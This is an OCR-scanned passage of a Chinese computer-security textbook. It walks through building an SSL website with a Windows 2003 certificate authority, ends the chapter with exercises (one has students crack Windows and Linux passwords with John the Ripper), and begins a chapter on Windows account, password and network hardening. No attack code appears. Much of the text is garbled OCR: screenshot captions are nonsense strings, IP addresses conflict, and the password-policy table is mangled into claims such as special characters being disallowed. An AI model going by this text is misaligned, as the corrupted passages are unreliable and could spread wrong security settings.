403) 


IIS 证 书 向 导 


处 理 挂 起 的 请 求 
通过 检索 包含 证 书 颁 发 机 构 响应 的 文件 来 处 理 挂 起 的 证 书 请 求 . 


:Mocunents and Settings Administrator UB cer tner. pTb 


图 3-155 ”处 理 挂 起 的 请 求 


3-156 SSL 端口 


A 3-157 证 书 摘要 
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完成 Web 服务 器 证 书 向 导 


已 成 功 完成 web 服务 器 证 书 向 导 。 
此 服务 器 上 现在 已 安装 了 证 书 。 
如 果 格 来 需要 更 新 、 著 执 或 禹 除 证 书 ， 可 以 重新 运行 向 导 - 


单 击 “ 完 成 ”按钮 关闭 向 导 。 


图 3-158 证 书 安装 完成 


第 9 步 : 在 图 3-159 中 , 单 击 【 查 看 证 书 ] 按 钮 ,出 现 如 图 3-160 所 示 对 话 框 ,查看 安装 的 
证 书 。 单 击 【确定 了 按钮 回 到 图 3-159 , 单 击 【 确 定 了 按钮 ,SSL 网 站 创建 完成 。 
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RED.. | 这 个 证 书 的 目的 如 下 : 


* 保证 远程 计算 机 的 身份 


(IP 地 址 和 域名 限制 


9 f ID AES poss MERRE 


颁发 给 : 。 ztg_win2003sp1 


MRE: jsjcA 


有 效 起 始 日 期 2010-6-4 到 2011-6-4 
P uas. 


MERRIE 


mm | mmo | 


图 3-160 证 书 内 容 


图 3-159 【ztg 网 站 属性 3 对 话 框 


3. 配置 客户 端 


第 1 步 : 在 客户 端 (218. 198. 18. 91 计算 机 ) 打 开 IE 浏览 器 ,在 地 址 栏 输入 http://218. 
198. 18. 93/certsrv, 出现 类 似 图 3-143 所 示 的 页 面 , 单 击 【 下 载 一 个 CA 证 书 ,证书 链 或 
CRL] 链 接 , 出 现 如 图 3-161 所 示 的 页 面 , 单 击 【安装 此 CA 证 书 链 ] 链 接 , 出 现 如 图 3-162 所 
示 的 对 话 框 , 单 击 【 是 按钮 添加 证 书 , 安 装 CA 证 书 链 后 ,客户 机 的 登录 用 户 就 会 信任 此 CA 
服务 器 (证 书 服务 器 ) 。 

第 2 步 : 向 CA 服务 器 申请 Web 浏览 器 证 书 , 先 回 证 书 服务 首页 .类 似 图 3-143 所 示 的 
页 面 , 单 击 [ 申 请 一 个 证 书 了 链接, 出现 如 图 3-163 所 示 的 页 面 , 单 击 【Web 浏览 器 证 书 了 3 链接， 
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出 现 如 图 3-164 所 示 的 页 面 ,填写 用 户 信息 , 单 击 【提交 按钮 ,出 现 如 图 3-165 所 示 的 对 话 
框 , 单 击 【是 按钮 ,出现 如 图 3-166 所 示 的 页 面 , 表 示 申 请 的 证 书 到 达 CA 服务 器 ,处 于 挂 起 


Zbmicrosoft 证 书 服务 - 了 icrosoft Internet Explorer 
XQ) SEO FEV REW IAW 帮助 了 0 
Oa- O BOO Pa wa 6 R: 


HED (Æ) http: 7218. 198. 18. 93/certsrv/certearc. asp 


Microsoft 证 书 服务 一 


下 载 CA 证 书 、 证 书 链 或 CRL 


要 信任 从 这 个 证 书 颁发 机 构 颁发 的 证 书 ， 安 装 此 CA 证 书 链 。 
要 下 载 一 个 CA 证 书 、 证 书 链 或 CRL， 选 择 证 书 和 编码 方法 。 


CA 证 书 : 
m 
DER 
OBase 64 
TR CA 证 书 


下 载 CA 证 书 链 
下 载 最 新 的 基 CRL 


图 3-161 下 载 一 个 CA 证 书证 书 链 或 CRL 


Lund E dud 


EU UU NU RE 


您 想 让 此 程序 现在 添加 证 书 吗 ? 加 果 您 信任 此 网 站 ,请 单 击 “ 是 ”。 否 则 ,请 单 击 “ 否 ”。 
[cam] sw | 
图 3-162 【潜在 的 脚本 冲突 3 对 话 框 


SWicrosoft 证 书 服务 - Hicrosoft Internet E... [- BR) 
XPD REO FEV KAW IAV 帮助 0 m" 


Oa- O NAGA 9 7 


地 址 四) (E) http://218. 198. 18. 93/certsrv/certrqus.asp M| EJAS EE 


Kicrosoft 证 书 服务 


申请 一 个 证 书 


选择 一 个 证 书 类 型 : 
Web 浏览 器 证 书 
电子 邮件 保护 证 书 
或 者 ， 提 交 一 个 高 级 证 书 申 请 。 
EEE 


图 3-163 ”申请 一 个 证 书 
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oft 证 书 服务 — Kicrosoft Internet Explorer 
XQ) SQ FEV KRW IAV Wb 


Oa- O- id Pss ye 加 De 


33 D [E] neu: //210. 198_18.93/certsrv/certrabi_ ssp7type-0 


Web 浏览 器 证 书 - 识别 信息 


要 完成 您 的 证 书 ， 在 下 面 的 框 中 输入 要 求 的 信息 。 
姓名 : EE 
电子 邮件 : |jsjoscpu@163 com 


公司 : [ 


"n: 
市 /县 : 

a: 
国家 (地 区 ): 
LED 
选择 一 个 加 密 服务 提供 程序 ] 

CSP: [Microsoft Enhanced Cryptographic Provider v1.0 

口 启 用 强 私 外 保护 
申请 格式 : @CIC — OPKCSIO 

如 果 你 需要 一 个 未 在 此 处 列 出 的 高 级 选项 ， 请 使 用 “高 级 证 书 申请 ” 窗 体 。 


d internet 


图 3-164 用 户 信息 


潜在 的 脚本 冲突 


作 BENERSEEER Tres. eminem 
[ES sw | 
图 3-165 【潜在 脚本 冲突 ] 对 话 框 


J Hicrosoft 证 书 服务 - Kicrosoft Internet Explorer BEE 
文件 @) MED FEV BRAW IAV EMW 

m” A| O A .DB 
Qe-O 986 Ps i 680 » 

(E) http://218. 198. 18.93/ cer tarv/ cer t£nsh. asp 


Jicrosoft 证 书 服务 一 


证 书 挂 起 


您 的 证 书 申请 已 经 收 到 。 但 是 ， 您 必须 等 符 管理 员 颁发 您 申请 的 证 书 。 
您 的 申请 Id 为 10。 


请 在 一 天 或 两 天 内 返回 此 网 站 以 检索 您 的 证 书 。 


注意 : 您 必须 用 此 Yeb 浏览 器 在 10 天 内 返回 以 检索 您 的 证 书 
ast @ Internet 


图 3-166 ”证书 挂 起 状态 


第 3 步 : 在 证 书 服务 器 上 (218. 198. 18. 93 计算 机 ) ,依次 选择 【开始 工程 序 】 民 管理 工 
具 了 区 证 书 颁发 机 构 了 命令 .出现 如 图 3-167 所 示 对 话 框 。 单 击 左 侧 栏 的 【 挂 起 的 申请 3 选项 ， 
在 右 侧 栏 右 击 一 个 挂 起 的 申请 ,依次 选择 【所 有 任务 3I【 颁 发 3 命令 。 


计算 机 安全 技术 


第 4 步 : 在 客户 端 (218. 198. 18. 91 计算 机 ) 打 开 IE 浏览 器 ,在 地 址 栏 输入 http://218. 
198. 18. 93/certsrv, 出 现 类 似 图 3-143 所 示 的 页 面 , 单 击 【 查 看 挂 起 的 证 书 申请 的 状态 ] 链 
接 , 出 现 如 图 3-168 所 示 的 页 面 , 单 击 【Web 浏览 器 证 书 了 链接 ,出 现 如 图 3-169 所 示 的 页 面 ， 
得 知 申请 的 证 书 已 经 颁发 , 单 击 【 安 装 此 证 书 ] 链 接 , 出 现 如 图 3-170 所 示 的 页 面 , 单 击 【 是 】 
按钮 ,出 现 如 图 3-171 所 示 的 页 面 ,表明 证 书 已 经 安装 成 功 。 


ET 


图 3-167 【证 书 颁 发 机 构 了 对话 框 


号 了 icrosoft 证 书 服务 - Microsoft Internet E... [EBR 
文件 四 RED FEV KEW IAV HHW a 


Qm-O Mà» vr © 
地 址 加) (E) http://218. 199. 18. 93/certsrv/certckgn. esp. 国 [E] 93 E 
Kicrosoft 证 书 服务 一 

查看 挂 起 的 证 书 申请 的 状态 


请 选择 您 要 查看 的 证 书 申请 : 
Web 浏览 器 证 书 (2010 年 6 月 5 日 星期 六 11:33:05) 


D Internet 


图 3-168 查看 挂 起 的 证 书 申请 的 状态 


Zbgicrosoft 证 书 服务 - Kicrosoft Internet E... 攻占 必 | 
XPD MED SEV KRW IAV HHW A 
Qa- O [d (3 Q Pr free O 

(Æ) http://218. 198. 18.93/certsrv/certfnsh asp M EJAS HE 
Hicrosoft 证 书 服务 一 jsjCA 
证 书 己 颁发 
您 申请 的 证 书 已 颁发 给 您 。 


rs 


图 3-169 证 书 已 颁发 


洪 在 的 脚本 冲突 


A T IRE TERRE: TROER. 此 网 站 可 能 会 安装 悠 不 信任 的 证 书 ， 这 可 


修 想 让 此 程序 现在 添加 证 书 吗 ? 加 果 您 信 任 此 网 站 ,请 单 击 “ 是 ”。 否 则 ,请 单 击 “ 否 ”。 


zo 


图 3-170 【潜在 的 脚本 冲突 3 对话 框 
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$8 5 25. 在 客户 端 (218. 198. 18. 91 计算 机 ) 打 开 IE 浏览 器 ,在 地 址 栏 输入 http://218. 
198. 18. 96/ ,出 现 如 图 3-172 所 示 的 对 话 框 , 单 击 【确定 按钮 ,接着 出 现 如 图 3-173 所 示 的 
对 话 框 , 单 击 【 是 3 按钮 ,出 现 如 图 3-174 所 示 的 对 话 框 , 选 择 一 个 证 书 。 单 击 【确定 了 按钮 ,出 
现 如 图 3-175 所 示 的 页 面 ,看 到 了 SSL 网 站 的 内 容 。 


Zbmicrosoft 证 书 服务 - Kicrosoft Internet E... [E | 


XM REO FFV KEW IAV Wo 
Qa- O- Jig sy e 


iSi W (E) necp: //216. 199. 18.93/certsrv/certrapn. asp M| EJAS E 


Hicrosoft TPES 一 jsjCA 
证 书 已 安装 
您 的 新 证 书 已 经 成 功 安装 。 


图 3-171 证 书 安装 成 功 


8 TA 但 该 站 点 
外 广安 全 证 书 由 可 信 的 验证 机 构 发 行 , 


£ 即将 通过 安全 连接 查看 网 页 
WL Et MISE i 


读 安 全 证 书 的 日 期 有 效 。 
© 


公安 全 证 书 上 的 名 称 无 效 ， 或 者 与 站 点 名 称 不 区 也 。 


口 以 后 不 再 显示 流 警 省 D 


C CE 
图 3-172 【安全 警报 ] 对 话 框 一 图 3-173 【安全 警报 对话 框 二 


选择 教 宇 证 书 
标识 
A 悠 要 查看 的 网 站 要 求 标识 。 请 沈 择 证书 , 


名 称 二 发 者 = 
-— js F https://218. 198. 18.96/ - Hic... EBR) 
[55] isi I 


文件 四” SD SEV KRW IAT” MP 
Q% - O [giat a 


IBEW |E) https://213.198.18.987 ”加 ER REI EE 


您 正在 访问 SSL 网 站 ! 1 t 
(mm jJ 
图 3-174 【选择 数字 证 书 ] 对 话 框 图 3-175 看 到 了 SSL 网 站 的 内 容 
小 结 


本 章 介绍 了 密码 学 的 基本 概念 .常用 加 密 方法 、 破 解 用 户 密码 的 方法 .文件 加 密 的 方法 、 
理解 数字 签名 技术 以 及 PEI。 并 且 通 过 对 一 系列 实例 的 介绍 ,加深 读 者 对 基础 安全 方面 的 
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基础 知识 和 技术 的 理解 ,使 读者 能 够 运用 一 些 工具 软件 来 保护 自己 在 工作 或 生活 中 的 机 密 
或 机 密 数据 。 


习 题 


1. 填空 题 


(1) 计算 机 安全 主要 包括 和 两 个 方面 。 

(2) 密码 理论 与 技术 主要 包括 两 部 分 : 基于 数学 的 密码 理论 与 技术 、 

(3) 是 研究 编制 密码 和 破译 密码 的 技术 科学 。 

(4) 是 保障 信息 安全 的 核心 技术 , 它 以 很 小 的 代价 ,对 信息 提供 一 种 强 有 力 的 
安全 保护 。 

(5) 是 用 某 种 方法 将 文字 转换 成 不 能 直接 阅读 形式 的 过 程 。 

(6) 密码 学 包括 密码 设计 与 两 个 方面 。 

(7) 加 密 一 般 分 为 3 类 ,是 和 è 

(8) 从 密码 学 的 发 展 历程 来 看 , 共 经 历 了 x 和 

(9) 对 称 加 密 算法 又 称 为 传统 密码 算法 ,或 单 密 钥 算法 ， 它 采用 了 对 称 密码 编码 技术 ， 
其 特点 

(10) 对 称 加 密 算法 的 安全 性 依赖 于 o 

QD 主要 的 非 对 称 加 密 算法 有 : 和 等 。 


(12) 的 缺点 是 密码 算法 一 般 比 较 复杂 ,加 、 解 密 速度 较 慢 。 因 此 ,实际 网 络 中 
的 加 密 多 采用 和 相 结合 的 混合 加 密 体 制 。 

a3) 是 实现 交易 安全 的 核心 技术 之 一 , 它 的 实现 基础 就 是 加 密 技 术 ,能 够 实 
现 电子 文档 的 辨认 和 验证 。 

(14) 是 创建 、 颁 发 .管理 和 撤销 公 钥 证 书 所 涉及 的 所 有 软件 、 硬 件 系统 ,以 及 
所 涉及 的 整个 过 程 安全 策略 规范 ,法律 .法规 和 人 员 的 集合 。 

(215) 是 PKI 的 核心 元 素 ， 是 PKI 的 核心 执行 者 。 

2. 思考 与 简 答题 


CD 对 称 加 密 算 法 的 优 缺 点 。 

(2) 非 对 称 加 密 算 法 的 优 缺 点 。 

(3) 简 述 数字 签名 的 过 程 。 

(4) 简 述 PKI 系统 的 组 成 以 及 每 个 部 分 的 作用 。 


3. 上 机 题 


(1) 使 用 压缩 工具 加 密 。 

(2) 对 Office 文件 进行 加 密 与 解密 。 

(3) 下 载 PGP 软件 ,根据 3. 2. 3 小 节 , 安 装 并 使 用 加 密 软件 PGP 对 文件 进行 加 、 解 密 。 
(4) 使 用 密码 破解 工具 John the Ripper 对 Windows 和 Linux 用 户 密 码 进行 破解 。 
(5) 构建 基于 Windows 2003 的 CA 系统 。 
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本 章 学 习 目 标 : 

。 了 解 Windows 安全 体系 结构 

* 掌握 Windows 系统 安全 配置 

* 了解 Windows 权限 的 概念 ,并 会 进行 权限 的 设置 
。 了 解 Linux 自主 访问 控制 与 强制 访问 控制 的 概念 
。 初步 了 解 Linux 系统 安全 配置 

。 了 解 计算 机 系统 安全 等 级 标准 


操作 系统 (Operating System) 是 一 组 面向 机 器 和 用 户 的 程序 ,是 用 户 程序 和 计算 机 硬 
件 之 间 的 接口 ,其 目的 是 最 大 限度 地 、 高 效 地 ,合理 地 使 用 计算 机 资源 ,同时 对 系统 的 所 有 资 
源 ( 如 软件 和 硬件 资源 ) 进 行 管理 。 计 算 机 系统 的 安全 极 大 地 取决 于 操作 系统 的 安全 ,计算 
机 操作 系统 的 安全 是 利用 安全 手段 防止 操作 系统 本 身 被 破坏 ,防止 非法 用 户 对 计算 机 资源 
的 窃取 。 


4.1 操作 系统 安全 基础 


在 计算 机 系统 的 各 个 层次 上 ,硬件 .操作 系统 、 网 络 软件 ,数据库 管理 系统 软件 以 及 应 用 
软件 ,各 自在 计算 机 安全 中 都 肩负 着 重要 的 职责 。 在 软件 的 范畴 中 ,操作 系统 处 在 最 底层 ， 
是 所 有 其 他 软件 的 基础 , 它 在 安全 问题 上 也 起 着 基础 性 ,关键 性 的 作用 ,没有 操作 系统 的 安 
全 支持 ,计算 机 软件 系统 的 安全 就 缺乏 了 根基 。 

上 层 软件 要 获得 运行 的 可 靠 性 和 信息 的 完整 性 ,保密 性 ,必须 依赖 于 操作 系统 提供 的 系 
统 软 件 作为 基础 。 在 网 络 环境 中 ,网 络 安全 依赖 于 网 络 中 各 主机 的 安全 性 ,而 各 主机 系统 的 
安全 是 由 操作 系统 的 安全 性 决定 的 。 


4.2 Windows 安全 体系 结构 


任何 操作 系统 都 有 一 套 规范 的 、 可 扩展 的 安全 定义 ,从 计算 机 的 访问 到 用 户 策略 等 。 操 
作 系 统 的 安全 定义 包括 5 大 类 ,分 别 为 : 身份 认证 、 访 问 控制 .数据 保密 性 、 数 据 完整 性 以 
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及 不 可 否认 性 。 
1. 身份 认证 


身份 认证 是 最 基本 的 安全 机 制 。 当 用 户 登录 到 计算 机 操作 系统 时 ,要 求 进行 身份 认证 ， 
最 常见 的 就 是 使 用 账号 以 及 密 钥 确 认 身 份 。 但 由 于 该 方法 的 局 限 性 ,所 以 当 计 算 机 出 现 漏 
洞 或 密 钥 泄露 时 ,可 能 会 出 现 安全 问题 。 其 他 的 身份 认证 还 有 : 生物 测定 指纹 、 视 网 膜 等 。 
这 几 种 方式 提供 高 机 密 性 ,以 保护 用 户 的 身份 验证 。 


2. 访问 控制 


在 Windows NT 之 后 的 Windows 版 本 ,访问 控制 带 来 了 更 加 安全 的 访问 方法 。 该 机 
制 包括 很 多 内 容 , 如 磁盘 的 使 用 权限 .文件 夹 的 权限 以 及 文件 权限 继承 等 。 最 常见 的 访问 控 
制 是 Windows 的 NTFS 文件 系统 。 


3. 数据 保密 性 


企业 服务 器 中 数据 的 安全 性 对 于 企业 来 讲 , 决 定 着 企业 的 存亡 。 加 强 数 据 的 安全 性 是 
每 个 企业 都 需 考 虑 的 。 


4. 数据 完整 性 

在 文件 传输 过 程 中 ,考虑 更 多 的 是 数据 的 完整 性 。 最 好 采用 公 钥 加 密 算法 。 
5. 不 可 否认 性 

根据 (中 华人 民 共 和 国 公共 安全 行业 标准 ) 的 计 审计 | 管理 


算 机 信息 系统 安全 产品 部 件 的 规范 ,验证 发 送 方 信息 
发 送 和 接收 方 信息 接收 的 不 可 否认 性 。 信 息 发 送 者 
的 不 可 否认 性 鉴别 信息 必须 是 不 可 伪造 的 ;信息 接收 Bru 
者 的 不 可 否认 性 鉴别 信息 必须 是 不 可 伪造 的 。 

Windows 系统 采用 金字 塔 形 的 安全 架构 .如 图 4-1 图 4-1 Windows 系统 安全 架构 
所 示 。 


访问 控制 


4.3 实例 : Windows 系统 安全 配置 


Windows 操作 系统 安全 配置 包括 : 账号 安全 管理 .网 络 安全 管理 IE 浏览 器 安全 配置 、 
注册 表 安 全 .Windows 组 策略 、Windows 权限 管理 和 Windows 安全 审计 等 方面 。 


4.3.1 账号 安全 管理 


1. 重 命名 和 禁用 默认 的 账户 


安装 好 Windows XP Professional 后 ,系统 会 自动 建立 两 个 账户 : Administrator 和 Guest; 


(m 
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在 Windows XP Professional 中 , 右 击 桌面 上 的 [我 的 电脑 图标 ,选择 [管理 ] 菜 单项 , 打 
开 【 计 算 机 管理 窗口 ,如 图 4-2 所 示 。 在 左边 列表 中 找到 并 展开 【本 地 用 户 和 组 】, 单 击 
【用 户 ] 文 件 夹 , 可 以 看 到 系统 中 的 账户 。 


号 计算 机 管理 
加 文件 四 ”操作 各 ”查看 WD 窗口 四 帮助 中 
e» om x d$ i i$ B 
忆 计算 机 管理 本 地 ) 
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图 4-2 【计算 机 管理 窗口 


(1) Administrator 账户 

Administrator( 管 理 员 ) 账 户 拥有 计算 机 的 最 高 管理 权限 ,每 一 台 计 算 机 至 少 需要 一 个 
拥有 管理 员 权 限 的 账户 ,但 不 一 定 必须 使 用 Administrator 这 个 名 称 。 黑 客人 侵 计 算 机 系统 
的 常用 手段 之 一 就 是 试图 获得 管理 员 账 户 的 名 称 和 密码 。 如 果 系 统 的 管理 员 账 户 的 名 称 没 
有 修改 ,那么 黑客 将 轻易 得 知 管理 员 账 户 的 名 称 , 接 下 来 就 是 寻找 密码 了 。 比 较 安全 的 做 法 
是 对 系统 的 管理 员 账 户 的 名 称 进行 修改 ,这 样 , 如 果 黑 客 要 得 到 计算 机 系统 的 管理 员 权 限 ， 
需要 同时 猜测 账户 的 名 称 和 密码 ,增加 了 黑客 入 侵 的 难度 。 

(2) Guest 账户 

在 Windows XP Professional 中 ,Guest 账户 即 所 谓 的 来 宾 账 户 , 只 有 基本 的 权限 并 且 默 认 
是 禁用 的 。 如 果 不 需要 Guest 账户 ,一定 禁 用 它 ,因为 Guest 账户 也 为 黑客 入 侵 提 供 了 方便 。 

禁用 Guest 账户 的 方法 是 ,在 图 4-2 右边 窗口 中 ,双击 Guest 账户 ,在 弹出 的 [Guest 属 
性 】 对 话 框 中 选中 [账户 已 停 用 】 选 项 。 


(REX 在 Windows XP Home 中 ,不 允许 停 用 Guest 账户 ,那么 一 定 要 为 Guest 
账户 设置 复杂 的 密码 。 不 要 忘记 为 所 有 账户 设置 足够 复杂 的 密码 。 


2. 可 靠 的 密码 


(1) 密码 策略 

尽管 绝对 安全 的 密码 是 不 存在 的 ,但 是 相对 安全 的 密码 还 是 可 以 实现 的 。 在 开始 菜单 
中 选择 【运行 命令 ,打开 [运行] 对话 框 , 在 其 文本 框 中 输入 secpol. msc. 打开 【本 地 安全 设 
置 了 窗口 ,如 图 4-3 Bron ,展开 【账户 策略 】, 单 击 【密码 策略 】 文 件 夹 , 右 侧 有 6 项 关于 密码 的 
设置 策略 ,通过 这 些 策略 的 配置 ,就 可 以 建立 完备 的 密码 策略 ,这样 密 码 就 可 以 得 到 最 大 限 
度 的 保护 。 关 于 这 6 个 策略 的 说 明 见 表 4-1。 

(2) 操作 系统 的 登录 密码 

Windows XP 的 登录 密码 存放 在 系统 的 C: NwindowsNsystem32WVconfig 下 的 sam 文件 
中 ,sam 文件 就 是 存放 账号 和 密码 的 数据 库 文件 。 当 登录 系统 时 ,系统 会 自动 和 sam 进行 
比较 ,如 果 发 现 此 账号 和 密码 与 sam 文件 中 的 加 密 数据 符合 ,用 户 就 会 顺利 登录 ,如 果 错 误 


则 无 法 登录 。 
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E 本 地 安全 设置 
XO HÉEQO SEV 帮助 中 


SEES Rn 
辆 为 城中 所 有 用 户 使 用 可 还 原 的 加 密 来 储存 客 码 


图 4-3 本 地 安全 设置 
表 4-1 密码 策略 说 明 


策 上 略 说 明 


如 果 启 用 了 这 个 策略 ,那么 在 设置 和 更 改 密码 的 时 候 ,系统 将 会 按照 下 面 
的 规则 检查 密码 是 否 有 效 


这 个 策略 决定 了 一 个 密码 的 长 度 , 有 效 值 在 0 到 14 之 间 。 如 果 设 置 为 0， 
则 表示 可 以 不 设置 密码 。 建 议 的 密码 长 度 最 少 包括 6 个 字符 ,并 且 在 字 
符 的 使 用 上 还 要 遵循 以 下 规则 ,密码 必须 是 :四 英文 字母 A 一 Z, 大 小 写 敏 
感 。@ 基 本 的 10 个 数字 。@@ 不 能 包含 特殊 字符 ,如 !,$ 0689 

这 个 策略 决定 了 一 个 密码 可 以 使 用 多 久 , 之 后 就 会 过 期 ,并 要 求 用 户 更 换 
密码 最 长 存留 期 密码 。 如 果 设 置 为 0, 表示 密码 永 不 过 期 。 一 般 情况 下 设置 为 40 天 左右 
即 可 ,具体 的 过 期 时 间 要 根据 实际 情况 而 定 。 最 长 可 以 设置 为 999 天 

这 个 策略 决定 了 一 个 密码 要 在 使 用 多 久之 后 才能 再 次 被 修改 。 如 果 设 置 
为 0 则 表示 密码 可 以 被 立即 修改 ,最 长 可 以 设置 为 998 天 

这 个 设置 决定 了 保存 用 户 曾经 用 过 的 密码 的 个 数 。 默 认 情 况 下 ,这 个 策 
略 不 保存 用 户 的 密码 ,建议 保存 5 个 以 上 ,最 多 可 以 保存 24 个 


密码 必须 符合 复杂 性 要 求 


密码 长 度 最 小 值 


密码 最 短 存留 期 


强制 密码 历史 


为 域 中 的 所 有 用 户 使 用 可 还 


原 的 加 密 来 存储 密码 有 


芍 注 意 为 了 保障 密码 安全 性 ,用 户 应 该 过 一 段 时 间 就 要 更 改 自 己 的 密码 。 


(3) 给 账户 双重 加 密 

虽然 为 账户 设置 了 复杂 的 密码 ,但 密码 总 有 被 破解 的 可 能 。 此 时 可 以 为 账户 设置 双重 
加 密 。 

在 开始 菜单 中 选择 【运行 命令 ,打开 【运行 ] 对 话 框 ,在 文本 框 中 输入 syskey, 打开 【 保 
证 Windows XP 账户 数据 库 的 安全 】 对 话 框 ,如 图 4-4 所 示 ,选择 [启用 加 密 了 单 选 按钮 , 单 
击 【 确 定 ] 按 钮 ,这 样 程序 就 对 账户 完成 了 双重 加 密 , 不 过 这 个 加 密 过 程 对 用 户 来 说 是 透 
DEM 


(REO ”该 项 操作 是 不 可 逆 ,一 旦 启用 加 密 则 不 可 以 禁用 。 


如 果 想 更 进一步 体验 这 种 双重 加 密 功 能 ,那么 可 以 在 图 4-4 中 单 击 【 更 新 按钮 ,打开 
【启动 密码 ] 对 话 框 ,如 图 4-5 所 示 , 这 里 有 【密码 启动 和 【系统 产生 的 密码 3 两 个 单 选 按钮 。 

如 果 选 择 【密码 启动 - 单 选 按钮 ,那么 需要 自己 设置 一 个 密码 ,这 样 在 登录 Windows XP 
之 前 需要 先 输入 这 个 密码 ,然后 才能 选择 登录 的 账户 。 
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保证 Windows IP 帐户 数据 库 的 安全 
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Eh SEEE an 


在 系统 局 动 时 需要 键入 一 个 软盘 。 


一 旦 启用 这 个 加 密 就 不 能 禁用。 G 在 本 机 上 保存 启动 密码 UL) 


Lea 
wm | Wo [m] w 
图 4-4 【保证 Windows XP 账户 数据 库 的 安全 】 对 话 框 图 4-5 【启动 密码 ] 对 话 框 


c 
c 


如 果 选 择 【 系 统 产 生 的 密码 了 单 选 按钮 ,那么 又 有 两 个 单 选 按钮 ,系统 默认 选择 【在 本 机 
上 保存 启动 密码 了 单 选 按钮 。 如 果 选 择 该 单 选 按钮 ,那么 程序 仅 在 后 台 完 成 加 密 过 程 ,在 用 
户 登 录 时 不 要 求 输入 任何 密码 ,因为 密码 就 保存 在 计算 机 的 内 部 。 如 果 对 安全 要 求 很 高 , 那 
么 可 以 选择 【在 软盘 上 保存 启动 密码 了 单 选 按钮 , 单 击 【 确 定 了 按钮 之 后 会 提示 在 软驱 里 放 人 
一 张 软 盘 ,创建 完毕 后 会 在 软盘 上 生成 一 个 StartKey. Key 文件 ,以 后 每 次 启动 系统 时 必须 
放 入 该 软盘 才能 登录 ,此 时 相当 于 系统 有 了 一 张 可 以 随身 携带 的 钥匙 盘 。 


Bs 如 果 选 择 [ 在 软盘 上 保存 启动 密码 ] 单 选 按钮 , 则 建议 创建 一 张 备用 盘 。 


3. 最 小 特权 原则 


最 小 特权 原则 是 系统 安全 中 最 基本 的 原则 之 一 。 

最 小 特权 指 的 是 在 完成 某 种 操作 时 所 赋予 网 络 中 每 个 主体 (用 户 或 进程 ) 必 不 可 少 的 
特权 。 

最 小 特权 原则 是 指 应 限定 网 络 中 每 个 主体 所 必需 的 最 小 特权 ,确保 由 可 能 的 事故 、 错 
误 、 网 络 部 件 的 算 改 等 原因 造成 的 损失 最 小 。 

最 小 特权 原则 一 方面 给 予 主体 “ 必 不 可 少 ” 的 特权 ,这 就 保证 了 所 有 的 主体 都 能 在 所 赋 
予 的 特权 之 下 完成 所 需要 完成 的 任务 或 操作 ; 另 一 方面 , 它 只 给 予 主体 “ 必 不 可 少 ” 的 特权 ， 
这 就 限制 了 每 个 主体 所 能 进行 的 操作 。 

最 小 特权 原则 有 效 地 限制 ,分 割 了 用 户 对 数据 资料 进行 访问 时 的 权限 ,降低 了 非法 用 户 
或 非法 操作 可 能 给 系统 及 数据 带 来 的 损失 ,对 于 系统 安全 具有 至 关 重 要 的 作用 。 但 目前 大 
多 数 系统 的 管理 员 对 于 最 小 特权 原则 的 认识 还 不 够 深入 。 尤 其 是 对 于 Windows 系列 的 操 
作 系 统 , 因 为 系统 所 赋予 用 户 的 默认 权限 是 最 高 的 权限 ,例如 Windows 下 的 目录 和 文件 的 
默认 权限 是 Everyone 均 具 有 完全 的 权限 ,而 Administrator 则 有 对 整个 系统 的 完全 控制 。 
如 果 系 统 的 管理 员 不 对 此 进行 修改 , 则 系统 的 安全 性 将 非常 薄弱 。 当 然 , 最 小 特权 原则 只 是 
系统 安全 的 原则 之 一 ,还 有 其 他 原则 如 纵深 防御 原则 、 特 权 分 离 原则 、 强 制 存 取 控 制 等 。 如 
果 要 使 系统 达到 相当 高 的 安全 性 ,还 需要 其 他 原则 的 配合 使 用 。 
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4.3.2 网 络 安全 管理 


随 着 计算 机 网 络 的 应 用 向 纵深 普及 ,网 络 的 安全 问题 也 日 益 突出 ,网 络 入 侵 事 件 频 繁 发 
生 , 由 于 计算 机 网 络 系统 的 开放 性 ,因此 网 络 入 侵 具有 以 下 特点 。 

CD 没有 时 间 、 地 域 的 限制 ,跨越 国界 攻击 就 如 同 在 现场 进行 攻击 一 样 方便 。 

(2) 通过 网 络 的 攻击 往往 混杂 在 大 量 正常 的 网 络 活动 之 中 ,隐蔽 性 强 ,并 且 和 人 侵 手段 越 
来 越 复杂 。 

下 面 将 介绍 通过 对 系统 的 配置 来 增强 网 络 方面 的 安全 性 。 


1. 先 关 闭 不 需要 的 端口 


第 1 步 : 在 桌面 右 击 [网 上 邻居 图 标 ,选择 【 属 性 了 命令 ,打开 【网 络 连 接 了 窗口 , 然 
后 右 击 【本 地 连接 了 图 标 ,选择 【属性 了 命令 ,打开 【本 地 连接 属性 对 话 框 , 然 后 在 【常规 】 
选项 卡 里 双击 【Internet 协议 (TCP/IP)】 选 项 ,弹出 【Internet 协议 (CTCP/IP) 属 性 了 对 话 
JE , 单 击 下 面 的 【高 级 了 按钮 ,弹出 【高 级 TCP/IP 设置 3 对 话 框 ,选择 【选项 3 选项 卡 , 如 
图 4-6 所 示 。 选 择 【TCP/IP 筛选 ] 选 项 , 单 击 【 属 性 按钮 ,弹出 【TCP/IP 筛选 ] 对 话 框 ， 
如 图 4-7 Bros 。 


TCP/IP 8k 


EBA TCF/IP Mit 所 有 适配器 ) QD. 


Ost O 〇 全 部 允许 如 Ostir O 
高 级 TCP/IP RE 加 只 允许 四 ORRIO ORRO 
ream |s ] 选项 | IP 协议 
可 过 的 设置 W 
mE 
描述 
E 


图 4-6 【高 级 TCP/IP 设置 ] 对 话 框 图 4-7 [TCP/IP 筛选 ] 对 话 框 


第 2 步 : 在 图 4-7 中 ,选择 [只 允许 有 单 选 按钮 ,分 别 添加 TCP、UDP I IP 等 网 络 协 议 允 
许 的 端口 ,如 果 没 有 提供 其 他 网 络 服务 ,那么 可 以 屏蔽 掉 所 有 的 端口 .这 样 大 大 增强 了 系统 
的 安全 性 。 


(Sim ”设置 完 端口 后 需要 重新 启动 计算 机 。 


2. 关闭 不 需要 的 服务 


相关 服务 及 其 功能 见 表 4-2。 
把 不 必要 的 服务 都 禁止 掉 , 尽 管 这 些 不 一 定 能 被 攻击 者 利用 得 上 ,但 是 按照 安全 规则 和 
标准 来 说 ,多 余 的 东西 就 没 必要 开启 ,从 而 减少 一 份 隐患 。 
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表 4-2 服务 及 其 功能 


服 务 功 能 

Computer Browser 维护 网 络 上 计算 机 的 最 新 列表 以 及 提供 这 个 列表 
Distributed File System 局 域 网 管理 共享 文件 ,不 需要 可 禁用 
Distributed Linktracking Client 用 于 局 域 网 更 新 连接 信息 ,不 需要 可 禁用 
Error Reporting Service 禁止 发 送 错 误 报告 
